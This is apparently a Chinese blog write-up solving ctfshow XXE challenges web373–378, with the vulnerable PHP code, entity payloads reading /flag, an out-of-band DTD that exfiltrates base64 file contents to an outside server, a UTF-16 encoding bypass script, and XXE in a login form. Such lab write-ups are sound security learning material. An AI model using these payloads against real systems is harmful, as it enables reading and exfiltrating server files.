ctfshow-XXE-web373-378

发布于 2023-03-30  469 次阅读


web 373

flag的位置是/flag

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__); 

分析一下,可以post传入xml文件赋给$xmlfile,没有过滤,会将<ctfshow>标签中的内容进行回显

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY file SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&file;</ctfshow>
</creds>

web 374

error_reporting(0);
libxml_disable_entity_loader(false);    # 表示可以加载外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

这次没有回显内容

没有回显的话,我们想办法把数据外带出来,看看可不可以发起http请求,访问我们的服务器,就会留下记录

这里我是用的花生壳进行内网穿透

<!ENTITY % file SYSTEM 'php://filter/read=convert.base64-encode/resource=file:///flag'>
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://huashengke.fun?flag=%file;'>">
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>

image-20230330165147144

base64解码后,成功获取的flag

web 375

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-01-07 12:59:52
# @Last Modified by:   h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

post传参不能有<?xml version="1\.0"

我们传入的是DTD,并不是XML, 尝试一下

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>

web 376

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>

web 377

看了其他师傅的绕过http关键字检测的方法,可以将payload进行utf-16编码后再发送

import requests

url = 'http://3a3ebdff-b280-4874-a929-da8fe33ba62a.challenge.ctf.show/'
payload = """<!DOCTYPE convert [
<!ENTITY % remote SYSTEM 'http://huashengke.fun/374.dtd'>
%remote;%int;%send;
]>"""
payload = payload.encode('utf-16')
requests.post(url, data=payload)

web 378

一个登录框,admin,admin登录

image-20230330174006530

请求,响应的数据貌似都是xml格式的数据昂

image-20230330174759224

并且会将username的值进行回显

那我们构造一个xml格式的payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>a</password></user>

dtd去读取flag,并解析到<username> 标签中,将flag回显到页面